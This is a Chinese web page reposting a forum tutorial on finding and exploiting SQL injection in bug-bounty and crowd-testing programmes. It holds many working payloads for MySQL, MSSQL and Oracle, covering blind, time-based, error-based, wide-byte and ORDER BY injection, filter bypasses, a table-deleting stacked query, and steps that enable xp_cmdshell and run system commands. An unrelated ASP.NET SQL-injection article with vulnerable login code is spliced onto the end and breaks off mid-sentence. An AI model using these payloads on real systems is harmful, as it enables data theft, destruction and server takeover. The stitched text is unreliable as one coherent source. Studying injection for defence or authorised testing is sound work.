整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          Kali中文社區(qū):眾測(cè)之SQL注入漏洞經(jīng)驗(yàn)分享

          Kali中文社區(qū):眾測(cè)之SQL注入漏洞經(jīng)驗(yàn)分享

          者:termsec

          鏈接:https://www.kali.net.cn/thread/51458


          寫在開頭,此文適用于小白以及src、眾測(cè)選手,從了解SQL注入到如何高效快捷地快速挖到SQL注入漏洞,

          一、了解SQL注入漏洞

          二、SQL注入類型

          三、眾測(cè)SQL注入漏洞經(jīng)驗(yàn)分享

          ---------------------------------------------------我是分割線---------------------------------------------------------------------

          一、了解SQL注入漏洞

          我們首先了解什么是SQL注入漏洞,SQL注入漏洞是什么

          簡(jiǎn)單點(diǎn)說,即web系統(tǒng)對(duì)用戶輸入數(shù)據(jù)的合法性沒有判斷或過濾不嚴(yán),用戶或攻擊者可構(gòu)造SQL語(yǔ)句來執(zhí)行非預(yù)期查詢。

          以dvwa為例講解,

          我們可以看到下方查詢框中輸入1,此時(shí)系統(tǒng)返回了兩條數(shù)據(jù)

          這時(shí)我們可以看下后端數(shù)據(jù)庫(kù)執(zhí)行的語(yǔ)句:

          SELECT first_name, last_name FROM users WHERE user_id=('1') LIMIT 1

          可以看到數(shù)據(jù)庫(kù)執(zhí)行了user_id為1的條件查詢

          如果說此處查詢框未對(duì)用戶輸入數(shù)據(jù)的合法性進(jìn)行判斷或過濾不嚴(yán),就可能導(dǎo)致SQL注入漏洞。

          比如我們輸入1加一個(gè)單引號(hào):1'

          可以看到系統(tǒng)報(bào)錯(cuò)了,該查詢框?qū)τ脩糨斎氲臄?shù)據(jù)沒有進(jìn)行校驗(yàn)或過濾,導(dǎo)致用戶輸入的數(shù)據(jù)代入了數(shù)據(jù)庫(kù)查詢

          看下后端的數(shù)據(jù)庫(kù)SQL語(yǔ)句

          可以看到SQL語(yǔ)句中多了一個(gè)單引號(hào),此時(shí)數(shù)據(jù)庫(kù)報(bào)錯(cuò),

          通過這里就可以明白,我們可以構(gòu)造惡意的SQL語(yǔ)句來執(zhí)行一些其他的查詢

          例如查詢當(dāng)前數(shù)據(jù)庫(kù)的user值,

          已知當(dāng)前數(shù)據(jù)庫(kù)語(yǔ)句為:SELECT first_name, last_name FROM users WHERE user_id='1'

          因?yàn)檫@里是報(bào)錯(cuò)型注入(下一章會(huì)詳細(xì)講解),

          此處為我們可以使用報(bào)錯(cuò)函數(shù)構(gòu)造' and 1=updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1

          直接在查詢框輸入即可:

          可以看到該系統(tǒng)的數(shù)據(jù)庫(kù)user值已經(jīng)通過報(bào)錯(cuò)的方式呈現(xiàn)出來

          再看看后端數(shù)據(jù)庫(kù)語(yǔ)句:

          我們剛才惡意構(gòu)造的SQL語(yǔ)句已經(jīng)成功代入數(shù)據(jù)庫(kù)查詢

          SELECT first_name, last_name FROM users WHERE user_id='' and 1=updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1'

          攻擊者可以利用惡意構(gòu)造的SQL語(yǔ)句,獲取想要獲取的信息。

          二、SQL注入類型

          SQL注入類型分為幾種

          1. 聯(lián)合查詢
          2. 布爾盲注
          3. 延時(shí)注入
          4. 報(bào)錯(cuò)注入
          5. 寬字節(jié)注入
          6. 堆疊查詢

          什么是聯(lián)合查詢:

          聯(lián)合查詢是可合并多個(gè)相似的選擇查詢的結(jié)果集。等同于將一個(gè)表追加到另一個(gè)表,從而實(shí)現(xiàn)將兩個(gè)表的查詢組合到一起,使用謂詞為UNION或UNION ALL。

          聯(lián)合查詢注入條件需要有占位,什么是占位?

          標(biāo)紅的都是從數(shù)據(jù)庫(kù)取出數(shù)據(jù)顯示在頁(yè)面上的,這些都是占位,通過構(gòu)造sql語(yǔ)句,可以在占位上呈現(xiàn)出想要的信息。

          什么是布爾盲注:

          布爾盲注指的是在不知道數(shù)據(jù)庫(kù)返回值的情況下對(duì)數(shù)據(jù)中的內(nèi)容進(jìn)行猜測(cè),實(shí)施SQL注入。
          可以簡(jiǎn)單理解,布爾分為兩種狀態(tài),即真(true)、假(false)

          當(dāng)我們?cè)趯?shí)戰(zhàn)進(jìn)行SQL注入的時(shí)候,系統(tǒng)不會(huì)返回我們想要的數(shù)據(jù),只會(huì)返回真和假

          示例:

          為真時(shí):

          這里我們輸入1,返回正常值,操作成功。

          輸入1'

          此時(shí)數(shù)據(jù)庫(kù)報(bào)錯(cuò),系統(tǒng)前端頁(yè)面顯示異常、

          也就是說,在后續(xù)的SQL注入中,系統(tǒng)只會(huì)返回操作成功和列表異常這兩種狀態(tài),即真和假,通過返回狀態(tài)來判斷猜解數(shù)據(jù),例如判斷當(dāng)前數(shù)據(jù)庫(kù)的user值第一位為A,返回操作成功頁(yè)面,否則列表異常頁(yè)面。這就是布爾盲注。

          什么是延時(shí)注入:

          延時(shí)注入又稱時(shí)間盲注,也是盲注的一種。通過構(gòu)造延時(shí)注入語(yǔ)句后,瀏覽器頁(yè)面的響應(yīng)時(shí)間來判斷正確的數(shù)據(jù)

          延時(shí)注入跟布爾盲注很像,布爾盲注是通過真和假來判斷,效率較高,延時(shí)盲注是通過時(shí)間來判斷,例如判斷當(dāng)前數(shù)據(jù)庫(kù)的user值第一位為A,則延時(shí)5秒,否則直接返回。

          示例:

          以dvwa為例,剛才我們得知user值為root@localhost

          我們構(gòu)造語(yǔ)句:1' and if(substr(user(),1,1)='r',sleep(5),1)or'

          該語(yǔ)句的意思為通過if函數(shù)判斷,substr函數(shù)截取當(dāng)前user值的第一位是否為r,如果為r,即返回sleep(5),如果不是r則返回1。

          可以看到當(dāng)user值第一位等于R時(shí)系統(tǒng)延時(shí)了5000毫秒即5秒。通過延時(shí)來判斷數(shù)據(jù),這就是延時(shí)注入。

          什么是報(bào)錯(cuò)注入:

          報(bào)錯(cuò)注入就是通過頁(yè)面爆出的錯(cuò)誤信息,構(gòu)造合適的語(yǔ)句來獲取我們想要的數(shù)據(jù)。

          簡(jiǎn)單說就是在測(cè)試的過程中系統(tǒng)對(duì)于一些SQL語(yǔ)句的錯(cuò)誤,直接回顯在了頁(yè)面上,我們可以構(gòu)造惡意語(yǔ)句直接通過頁(yè)面回顯查看我們想要的數(shù)據(jù)。

          示例:

          mysql報(bào)錯(cuò):MySQL server version for the right syntax to use near

          mssql報(bào)錯(cuò):字符串 ')' 后的引號(hào)不完整

          oracle報(bào)錯(cuò):ORA-XXXXXX

          如果在測(cè)試過程中出現(xiàn)了以上字樣,那就說明可以使用報(bào)錯(cuò)函數(shù)來進(jìn)行注入

          mysql十大報(bào)錯(cuò)函數(shù)參考: https://www.cnblogs.com/zztac/p/11441292.html

          mssql不需要報(bào)錯(cuò)函數(shù),類型不匹配即可實(shí)現(xiàn)報(bào)錯(cuò),例如1=user,即可返回當(dāng)前數(shù)據(jù)庫(kù)user值

          oracle十大報(bào)錯(cuò)函數(shù)參考: https://www.jianshu.com/p/af12401bbfd9

          什么是寬字節(jié)注入:

          在使用PHP連接MySQL的時(shí)候,當(dāng)設(shè)置“set
          character_set_client=gbk”時(shí)會(huì)導(dǎo)致一個(gè)編碼轉(zhuǎn)換的問題,也就是我們熟悉的寬字節(jié)注入,當(dāng)存在寬字節(jié)注入的時(shí)候,注入?yún)?shù)里帶入% DF%27,即可把(%5C)吃掉。

          舉例:當(dāng)我們提交id=1' and 1=1%23

          數(shù)據(jù)庫(kù)執(zhí)行的語(yǔ)句為:select * from user where id='1\' and 1=1#'

          這里將單引號(hào)轉(zhuǎn)義了,無法注入成功

          我們提交id=1%df' and 1=1%23

          數(shù)據(jù)庫(kù)執(zhí)行的語(yǔ)句為:select * from user where id='1運(yùn)' and 1=1#'

          成功閉合,達(dá)到逃逸的效果

          寬字節(jié)注入是利用的MySQL的一個(gè)特性,MySQL的在使用GBK編碼的時(shí)候,會(huì)認(rèn)為兩個(gè)字符是一個(gè)漢字(前一個(gè)ASCII碼要大于128,才到漢字的范圍)。這就是MySQL的的特性,因?yàn)镚BK是多字節(jié)編碼,他認(rèn)為兩個(gè)字節(jié)代表一個(gè)漢字,所以%DF和后面的\也就是%5c中變成了一個(gè)漢字“運(yùn)”,而“逃逸了出來。

          什么是堆疊查詢注入:

          在SQL中,分號(hào)(;)是用來表示一條sql語(yǔ)句的結(jié)束。如果我們?cè)?; 結(jié)束一個(gè)sql語(yǔ)句后繼續(xù)構(gòu)造下一條語(yǔ)句,數(shù)據(jù)庫(kù)會(huì)一起執(zhí)行,所以這也就造就了堆疊注入。

          示例:

          Select * from products where productid=1;DELETE FROM products

          當(dāng)執(zhí)行命令后,第一條顯示查詢信息,第二條則將整個(gè)表進(jìn)行刪除,這就是堆疊注入。

          三、眾測(cè)SQL注入漏洞經(jīng)驗(yàn)分享

          看到這里,相信大家已經(jīng)對(duì)SQL注入有了一個(gè)大致的了解,接下來就講一下眾測(cè)的一些經(jīng)驗(yàn)分享。

          在眾測(cè)中,大佬們的手速是非常快的,10分鐘項(xiàng)目暫停,20分鐘項(xiàng)目結(jié)束,我們提交上去除了重復(fù)還是重復(fù)。

          正文:

          挖掘SQL注入:

          首先我們要了解SQL注入的精髓是什么,是if(1=1,1,1)

          在大企業(yè)項(xiàng)目中常見的數(shù)據(jù)庫(kù)中我們見得最多的是mysql以及oracle

          首先,我們?cè)撊绾瓮诰騍QL注入,有交互的地方就會(huì)存在SQL注入漏洞,在測(cè)試的過程中,我們可以使用單引號(hào)來測(cè)試,一個(gè)單引號(hào)報(bào)錯(cuò),兩個(gè)單引號(hào)閉合為真,萬(wàn)變不離其宗,只要符合這個(gè)特征,符合數(shù)據(jù)庫(kù)原理,那么極有可能存在SQL注入漏洞。

          我們可以通過返回包狀態(tài)來判斷是否存在

          我們可通過http狀態(tài)碼以及l(fā)ength長(zhǎng)度和返回的內(nèi)容來進(jìn)行判斷

          單個(gè)單引號(hào)返回錯(cuò)誤,雙個(gè)單引號(hào)返回正常

          如果是數(shù)字型的參數(shù),可通過減法、除數(shù)來快速判斷存在注入。

          例如:

          http://127.0.0.1/shell.php?id=1

          這里id=1,看下數(shù)據(jù)庫(kù)后端執(zhí)行的SQL語(yǔ)句

          數(shù)據(jù)庫(kù)執(zhí)行的sql語(yǔ)句為:select * from users where user_id=1

          可以看到數(shù)字1是沒有被單引號(hào)包裹的,說明此處為數(shù)字型注入,

          如何快速判斷數(shù)字型注入,可以使用減法,我們可以輸入2-1

          可以看到返回結(jié)果和1是一樣的,看下數(shù)據(jù)庫(kù)執(zhí)行的語(yǔ)句

          可以看到代入數(shù)據(jù)庫(kù)查詢了,數(shù)據(jù)庫(kù)執(zhí)行運(yùn)算了2-1,說明此處可控,存在數(shù)字型注入

          也可以使用除法1/1、1/0來判斷,1/1為真,1/0為假。

          后面會(huì)講如何通過除數(shù)來注入,通過以上兩個(gè)方式可以快速判斷是否存在SQL注入漏洞。

          判斷數(shù)據(jù)庫(kù)類型:

          大家在挖掘到sql注入的時(shí)候不知道數(shù)據(jù)庫(kù)類型,接下來大家講解下如何快速判斷數(shù)據(jù)庫(kù)類型。

          iis+asp.net可以初步判斷為mssql、oracle

          php+apache+nginx可以初步判斷為msyql、oracle、PostgreSQL

          在挖到sql注入漏洞時(shí),首先第一步是判斷數(shù)據(jù)庫(kù)類型

          我們可以通過管道符來測(cè)試、'||'

          可以看到通過管道符''系統(tǒng)返回了所有數(shù)據(jù),該條件類似or永真,如果輸入''系統(tǒng)返回真,即可排除mssql數(shù)據(jù)庫(kù),因?yàn)閙ssql數(shù)據(jù)庫(kù)不支持管道符,說明此系統(tǒng)可能為mysql或oracle數(shù)據(jù)庫(kù)。

          既然得知該系統(tǒng)可能為mysql或oracle,繼續(xù)判斷是什么數(shù)據(jù)庫(kù)

          這里可以使用一個(gè)函數(shù)、exp函數(shù)

          簡(jiǎn)單講下,mysql的特征是exp的值到710就會(huì)報(bào)錯(cuò),1-709是不會(huì)報(bào)錯(cuò)的,看看數(shù)據(jù)庫(kù)執(zhí)行結(jié)果

          實(shí)例:

          exp(709):

          exp(710):

          通過此方法可以判斷出該系統(tǒng)為mysql數(shù)據(jù)庫(kù)

          第二種方法使用運(yùn)算符:(2*1e308)

          原理一樣,1E308是一個(gè)閾值,也就是臨界值,到了這個(gè)值就會(huì)報(bào)錯(cuò),沒到就不會(huì)報(bào)錯(cuò)。

          第三種方法(select 1 union select 2):

          此方法適用于exp以及2*1e308不報(bào)錯(cuò)的情況下,因?yàn)樵趯?shí)戰(zhàn)中可能會(huì)遇到exp(710)不會(huì)報(bào)錯(cuò)

          示例:

          '(case when 1=1 then 1 else (select 1 union select 2) end)'

          '(case when 1=2 then 1 else (select 1 union select 2) end)'

          oracle數(shù)據(jù)庫(kù)判斷:

          oracle數(shù)據(jù)庫(kù)也適用于exp函數(shù),但是oracle沒有一個(gè)固定的臨界值。

          舉例:

          可以輸入exp(1)看看返回結(jié)果,如果返回真,再輸入exp(100)、exp(300)、exp(500),如果后面報(bào)錯(cuò)的話可以判斷為oracle數(shù)據(jù)庫(kù),也許在300多報(bào)錯(cuò),也許在500多報(bào)錯(cuò),沒有固定的值,但是exp(1)肯定是不會(huì)報(bào)錯(cuò)的,如果報(bào)錯(cuò),說明函數(shù)過濾或不可用。

          另外也可以使用oracle的一些函數(shù)來測(cè)試是否能夠報(bào)錯(cuò)

          例如1/0、ln(-1)、sqrt(-1)、1-(select 1 from dual union select 2 from dual)等等

          MSSQL數(shù)據(jù)庫(kù)判斷:

          exp函數(shù)也同樣使用于mssql數(shù)據(jù)庫(kù),也是710報(bào)錯(cuò),另外也可以通過len函數(shù)以及iif函數(shù)來判斷,mssql特征過于明顯,這里不過多描述。

          快速出數(shù)據(jù):

          到了最關(guān)鍵的一步,如何快速出數(shù)據(jù),在眾測(cè)或者是src中,我們往往需要通過注入出數(shù)據(jù)才能證明漏洞。

          下面就講下如何快速出數(shù)據(jù)

          大家常用的語(yǔ)句想必是case when...

          那么接下來就以case when為例講解

          什么是case when函數(shù):

          可以簡(jiǎn)單理解為if else,即判斷當(dāng)前條件是否為真,為真返回值,為假則進(jìn)入else條件。

          看一條語(yǔ)句

          case when 1=1 then 1 else 0 end

          該語(yǔ)句意思為 1=1時(shí)返回1,否則返回0

          看數(shù)據(jù)庫(kù)是如何執(zhí)行的:

          這樣就很容易理解了吧

          上面講到了SQL注入的精髓是什么,是if(1=1,1,1)

          如果我們把這個(gè)函數(shù)代入sql注入中,那么你就成功了一半了

          dvwa示例(布爾盲注示例):

          在實(shí)戰(zhàn)中,我們只需要看三個(gè)地方,一個(gè)是自己輸入的值,二、HTTP狀態(tài)碼、三、length長(zhǎng)度,此處為布爾盲注,返回內(nèi)容不用管,如果是報(bào)錯(cuò)注入,會(huì)在返回內(nèi)容報(bào)錯(cuò)呈現(xiàn)出我們想要的信息。

          此處布爾盲注我們可以接入case when進(jìn)行注入

          首先加入單引號(hào)查看返回值:

          兩個(gè)單引號(hào)查看返回值:

          可以看到一個(gè)單引號(hào)的時(shí)候,數(shù)據(jù)庫(kù)報(bào)錯(cuò)了,系統(tǒng)返回狀態(tài)為404,length長(zhǎng)度值為5366,

          兩個(gè)單引號(hào)的時(shí)候系統(tǒng)返回真,狀態(tài)碼200,length長(zhǎng)度值為5360

          我們就可以理解系統(tǒng)在真的情況下返回5360,假的情況下返回5366

          接下來我們鍵入cashe when 函數(shù)

          mysql、oracle可通用管道符、'(語(yǔ)句)'

          '(case+when+1=1+then+1+else+exp(710)+end)'

          這條語(yǔ)句的意思即1=1時(shí)返回1,否則返回exp(710),exp(710)上面講了,直接報(bào)錯(cuò)

          先看看1=1和1=2的返回結(jié)果

          這里我們就根據(jù)系統(tǒng)返回的頁(yè)面不同、真假差異來進(jìn)行SQL注入

          例如我們通過substr函數(shù)截取當(dāng)前數(shù)據(jù)庫(kù)user值第一位:

          substr(user(),1,1)='r'

          代入case when就是'(case+when+substr(user(),1,1)='r'+then+1+else+exp(710)+end)'

          如果當(dāng)前user值第一位是r的話系統(tǒng)返回1也就是真,狀態(tài)碼為200,length長(zhǎng)度為5360

          如果我們輸入a,系統(tǒng)即報(bào)錯(cuò)

          我們可以通過遍歷26個(gè)字母顯得更直觀:

          注意,根據(jù)系統(tǒng)以及數(shù)據(jù)庫(kù)不同可能返回長(zhǎng)度和狀態(tài)碼會(huì)有差異。

          如果你成功了構(gòu)造了case when 函數(shù),那么可以在1=1條件處構(gòu)造自己想要執(zhí)行的SQL語(yǔ)句。

          我們可以看看sqlmap的布爾盲注的payload,都是通過case when來完成

          mysql如何快速出數(shù)據(jù):

          實(shí)戰(zhàn)中遇到的mysql數(shù)據(jù)庫(kù)一般分為布爾、報(bào)錯(cuò),一般情況下mysql常用的函數(shù)為user()、current_user

          mysql可用函數(shù):

          database() //獲取當(dāng)前數(shù)據(jù)庫(kù)
          version() //獲取數(shù)據(jù)庫(kù)版本
          user() //獲取用戶

          current_user //獲取用戶
          @@datadir //獲取數(shù)據(jù)庫(kù)路徑
          @@version_compile_os //獲取操作系統(tǒng)
          @@basedir //mysql安裝路徑
          session_user() //獲取連接數(shù)據(jù)庫(kù)的用戶名
          current_user() //獲取當(dāng)前用戶名
          current_user //獲取當(dāng)前用戶名
          system_user() //獲取系統(tǒng)用戶名
          @@
          version //獲取數(shù)據(jù)庫(kù)版本

          布爾:

          我們?cè)谕诘揭粋€(gè)SQL注入的時(shí)候,首先想的是構(gòu)造語(yǔ)句閉合來執(zhí)行我們的惡意語(yǔ)句。

          這里可以使用mysql、oracle通用的管道符、\'||',如果遇到waf攔截,可以在管道符中間添加空格'|+|'

          在src、眾測(cè)實(shí)戰(zhàn)中我們往往需要快速出數(shù)據(jù),

          一般情況下,我們?cè)谕诰騍QL注入的時(shí)候,遇到的布爾盲注排在第一位,其次是報(bào)錯(cuò)

          延時(shí)盲注一般都是掃描器掃出來的,為了提高效率,可以通過數(shù)據(jù)庫(kù)報(bào)錯(cuò)函數(shù)轉(zhuǎn)換成布爾盲注。

          通用語(yǔ)句:

          '(case+when+(語(yǔ)句)+then+1+else+exp(710)+end)'

          使用管道符閉合SQL語(yǔ)句'(語(yǔ)句)'

          'if(substr(user(),1,1)='r',1,exp(710))'

          使用模糊匹配出數(shù)據(jù):

          ' and user() like 'a%

          使用substr函數(shù)截取出數(shù)據(jù):

          ' and substr(user(),1,1)='r

          我們?cè)跍y(cè)試SQL注入出數(shù)據(jù)的時(shí)候,首先需要構(gòu)造一個(gè)布爾的狀態(tài),即真和假

          那么如何構(gòu)造,上面說了一些報(bào)錯(cuò)函數(shù),那么我們可以先用管道符來閉合SQL語(yǔ)句

          然后在構(gòu)造一個(gè)布爾的狀態(tài),來執(zhí)行我們想要執(zhí)行的SQL語(yǔ)句

          先看第一條語(yǔ)句:

          '(case when(語(yǔ)句)then 1 else exp(710) end)'

          這里語(yǔ)句框我們可以構(gòu)造自己想要執(zhí)行的任何SQL語(yǔ)句

          因?yàn)椴紶枲顟B(tài)已經(jīng)構(gòu)造成功,為真時(shí)返回1,即為真,如果為假,系統(tǒng)返回exp(710)函數(shù)直接報(bào)錯(cuò)。

          示例:

          '(case when substr(user(),1,1)='r' then 1 else exp(710) end)'(截取當(dāng)前user值第一位是否為r,為r返回1,否則報(bào)錯(cuò))

          '(case when user() like 'r%' then 1 else exp(710) end)'(模糊匹配user值第一位是否為r,為r返回1,否則報(bào)錯(cuò))

          '(case when length(user())=14 then 1 else exp(710) end)'(獲取user值長(zhǎng)度是否為14,為14返回1,否則報(bào)錯(cuò))

          假設(shè)我們不可使用case when函數(shù),我們可以使用if函數(shù)

          'if((語(yǔ)句),1,exp(710))'

          大家可以查看mysql手冊(cè),尋找自己所需要的的函數(shù)進(jìn)行測(cè)試

          在實(shí)際測(cè)試過程中,我們經(jīng)常會(huì)遇到系統(tǒng)無法報(bào)錯(cuò),這是因?yàn)閿?shù)據(jù)表里無數(shù)據(jù),數(shù)據(jù)庫(kù)執(zhí)行了空表查詢,我們可以通過新建一條數(shù)據(jù)來達(dá)到報(bào)錯(cuò)效果.

          除了使用管道符來閉合SQL語(yǔ)句,我們還可以使用and或者or來構(gòu)造閉合

          例如:' and 1=1 and '1'='1,') and 1=1 and('1'='1

          1=1 就是可輸入語(yǔ)句的位置,可構(gòu)造自己想要執(zhí)行的任意語(yǔ)句

          過濾逗號(hào)和for:

          substr(user()from(1))='a'

          mid(user()from(1))='a'

          過濾單引號(hào):

          ord(mid(user(),1,1))=114(114為字母r的ascii碼)

          ascii(mid(user(),1,1))=114

          hex編碼注入:

          (case when current_user like 0x2525 then 1 else 2*1e308 end)

          布爾盲注:

          (CASE WHEN substr(user(),1,1)='A' THEN 1 ELSE 1*(SELECT 1 FROM INFORMATION_SCHEMA.PLUGINS) END)
          (PLUGINS表提供有關(guān)服務(wù)器插件的信息。利用該表進(jìn)行基于布爾的報(bào)錯(cuò)盲注。)

          示例:

          延時(shí)注入:

          ' AND if(substr(user(),1,1)='r',sleep(5),1) AND 'TERM'='TERM(user值第一位為r時(shí)延時(shí),不為r時(shí)返回1)

          sleep不可用時(shí):

          SELECT if(substring(user(),1,1)='r',BENCHMARK(10000000,md5('a')),1);user值第一位為r時(shí)延時(shí),不為r時(shí)返回1

          order by 后注入:

          在實(shí)戰(zhàn)測(cè)試過程中,經(jīng)常會(huì)看到“&sort=id&order=desc”這樣的參數(shù),這是排序字段,asc是升序,desc是降序,系統(tǒng)在開發(fā)的過程中很有可能忽略對(duì)這個(gè)參數(shù)進(jìn)行過濾

          這個(gè)參數(shù)是在order by后的,我們可以使用逗號(hào)來閉合

          先看執(zhí)行過程:

          可以看到該參數(shù)的作用是對(duì)數(shù)據(jù)進(jìn)行排序,假設(shè)在實(shí)戰(zhàn)中遇到這樣的參數(shù)我們可以使用逗號(hào)來閉合

          例如:

          &sort=id&order=desc,(case when 1=1 then 1 else exp(710) end)

          或者可以使用減號(hào)

          &sort=id-(case when 1=1 then 1 else 0 end)&order=desc

          也可以使用and或or

          &sort=id and if(1=1,1,1)&order=desc

          還可以使用RLIKE

          &sort=id&order=price RLIKE (SELECT (CASE WHEN (9454=9454) THEN 0x7072696365 ELSE 0x28 END))

          注意:以上payload僅供參考,在實(shí)戰(zhàn)過程中可能有差異,具體需自己測(cè)試,

          MSSQL快速出數(shù)據(jù):

          current_user? 返回當(dāng)前用戶的名字
          datalength?返回用于指定表達(dá)式的字節(jié)數(shù)
          Host_name 返回當(dāng)前用戶所登陸的計(jì)算機(jī)名
          system_user 返回當(dāng)前所登陸的用戶名稱
          user_name 從給定的用戶ID返回用戶名
          user_name() 從給定的用戶ID返回用戶名
          user_id() 返回指定用戶名的用戶ID
          SUSER_SNAME() 返回指定安全I(xiàn)D的登錄名
          SUSER_SID() 返回指定用戶的登錄名的安全I(xiàn)D

          MSSQL一般情況下報(bào)錯(cuò)注入居多,類型不匹配即可報(bào)錯(cuò),不需要報(bào)錯(cuò)函數(shù)。

          例如'and 1=user--+,即可返回當(dāng)前數(shù)據(jù)庫(kù)user值。

          同時(shí)mssql也是支持exp和case when函數(shù)的

          可以通過構(gòu)造and、or語(yǔ)句閉合來執(zhí)行我們的語(yǔ)句

          例如' and 1=user and '1'='1、' and 1=(case when 1=1 then 1 else 0 end) and '1'='1

          如果是數(shù)字型注入,可以直接用減號(hào)來出數(shù)據(jù),1-db_name()

          又或者1-iif(1=1,1,1),1-(case when 1=1 then 1 else 0 end)

          MSSQL 常見截取函數(shù):
          substring()

          left():使用模糊匹配
          例:left(user,2)='db'

          right():返回從字符串右邊開始指定個(gè)數(shù)的字符
          select right('SqlServer_2008',4)
          返回:2008

          判斷當(dāng)前數(shù)據(jù)庫(kù)是否為sa:
          ';if system_user='sa' waitfor delay '0:0:5'--

          開啟cmd_shell存儲(chǔ):
          id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE ; -- '

          執(zhí)行命令:

          ';exec master..xp_cmdshell "whoami"

          oracle快速出數(shù)據(jù):

          在眾測(cè)實(shí)戰(zhàn)中遇到的金融、銀行、企業(yè)使用的oracle數(shù)據(jù)庫(kù)較多

          爆數(shù)據(jù)庫(kù)版本:

          select banner from v$version where rownum=1

          查看當(dāng)前數(shù)據(jù)庫(kù):(SELECT name FROM v$database)

          當(dāng)前數(shù)據(jù)庫(kù)賬號(hào):(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)

          判斷當(dāng)前系統(tǒng)是否為windows:(select member from v$logfile where rownum=1)

          獲取服務(wù)器SID:(select instance_name from v$instance) from dual

          獲取表名:select table_name from user_tables where rownum=1

          獲取字段:(select column_name from user_tab_columns where table_name='表名' and rownum=1)

          頁(yè)面返回正常,說明是oracle數(shù)據(jù)庫(kù):
          and (select count (*) from dual)>0

          當(dāng)前用戶權(quán)限 (select * from session_roles)

          服務(wù)器監(jiān)聽I(yíng)P (select utl_inaddr.get_host_address from dual)

          服務(wù)器操作系統(tǒng) (select member from v$logfile where rownum=1)

          服務(wù)器sid ( 遠(yuǎn)程連接的話需要, select instance_name from v$instance)

          當(dāng)前連接用戶 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)

          在判斷數(shù)據(jù)庫(kù)時(shí)可以用'and 1=(select 1 from dual) '%'=' 語(yǔ)句來判斷,頁(yè)面正常則為oracle數(shù)據(jù)庫(kù)。

          上面說了oracle支持管道符,同時(shí)也支持case when函數(shù),oracle我們可以使用decode函數(shù)來快速出數(shù)據(jù)。

          decode函數(shù)用法:

          可以簡(jiǎn)單理解為if函數(shù)、case when函數(shù)用法一致。

          示例:

          decode函數(shù)盲注:
          'decode(substr(user,1,1),'W',1,1/0)'(判斷當(dāng)前數(shù)據(jù)庫(kù)user值第一位是否為W,如果是,則返回1,否則返回1/0)

          上面講了很多報(bào)錯(cuò)函數(shù),可以根據(jù)系統(tǒng)不同自己測(cè)試使用

          在oracle數(shù)據(jù)庫(kù)可以利用除數(shù)特性來除以0達(dá)到報(bào)錯(cuò)(mssql也支持),也可以使用exp函數(shù)報(bào)錯(cuò)

          exp函數(shù)(隨機(jī)數(shù)值)

          使用case when獲取數(shù)據(jù):

          '(case+when+substr(user,1,1)='J'+then+1+else+exp(8888)+end)'

          閉合判斷:

          ') OR 1=(CASE WHEN substr(user,1,1)='A' THEN 1 ELSE 1/0 END) AND ('1'='1

          主題詞表盲注:

          ' AND 1=(CASE WHEN substr(user,1,1)='A' THEN NULL ELSE CTXSYS.DRITHSX.SN(1,1) END) AND 'oFWf' LIKE 'oFWf

          order by 后注入(sort參數(shù)):
          sort=desc,(SELECT (CASE WHEN substr(user,1,1)='A' THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)

          select 1 union select 2:

          select (case when 1=1 then null else 2*(SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) end) from dual;

          判斷user長(zhǎng)度:
          select length(user) from dual
          select vsize(user) from dual

          截取user值:

          decode(substr(userenv('CURRENT_USER'),1,1),'W',1,0)

          oracle支持的函數(shù):
          SYS_CONTEXT('USERENV','CURRENT_USER') current_user,
          SYS_CONTEXT('USERENV','CURRENT_SCHEMA') current_user,
          SYS_CONTEXT('USERENV','SESSION_USER') session_user,
          SYS_CONTEXT('USERENV','DB_NAME') db_name,
          SYS_CONTEXT('USERENV','OS_USER') os_user

          如遇到系統(tǒng)無法報(bào)錯(cuò),這是因?yàn)閿?shù)據(jù)表里無數(shù)據(jù),數(shù)據(jù)庫(kù)執(zhí)行了空表查詢,我們可以通過新建一條數(shù)據(jù)來達(dá)到報(bào)錯(cuò)效果

          只要懂得原理,通過構(gòu)造布爾的狀態(tài),查閱oracle函數(shù)手冊(cè),合理搭配運(yùn)用函數(shù),都可以達(dá)到獲取自己想要的數(shù)據(jù)的效果

          業(yè)開始從事winform到今年轉(zhuǎn)到 web ,在碼農(nóng)屆已經(jīng)足足混了快接近3年了,但是對(duì)安全方面的知識(shí)依舊薄弱,事實(shí)上是沒機(jī)會(huì)接觸相關(guān)開發(fā)……必須的各種借口。這幾天把sql注入的相關(guān)知識(shí)整理了下,希望大家多多提意見。

          (對(duì)于sql注入的攻防,我只用過簡(jiǎn)單拼接字符串的注入及參數(shù)化查詢,可以說沒什么好經(jīng)驗(yàn),為避免后知后覺地犯下大錯(cuò),專門查看大量前輩們的心得,這方面的資料頗多,將其精簡(jiǎn)出自己覺得重要的,就成了該文)


          下面的程序方案是采用 ASP.NET + MSSQL,其他技術(shù)在設(shè)置上會(huì)有少許不同。

          示例程序下載:SQL注入攻防入門詳解_示例


          什么是SQL注入(SQL Injection)

          所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁(yè)面請(qǐng)求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令。在某些表單中,用戶輸入的內(nèi)容直接用來構(gòu)造(或者影響)動(dòng)態(tài)SQL命令,或作為存儲(chǔ)過程的輸入?yún)?shù),這類表單特別容易受到SQL注入式攻擊。


          嘗嘗SQL注入

          1. 一個(gè)簡(jiǎn)單的登錄頁(yè)面

          關(guān)鍵代碼:(詳細(xì)見下載的示例代碼)


          private bool NoProtectLogin(string userName, string password)

          {

          int count=(int)SqlHelper.Instance.ExecuteScalar(string.Format

          ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));

          return count > 0 ? true : false;

          }


          方法中userName和 password 是沒有經(jīng)過任何處理,直接拿前端傳入的數(shù)據(jù),這樣拼接的SQL會(huì)存在注入漏洞。(賬戶:admin 123456)


          1) 輸入正常數(shù)據(jù),效果如圖:

          合并的SQL為:

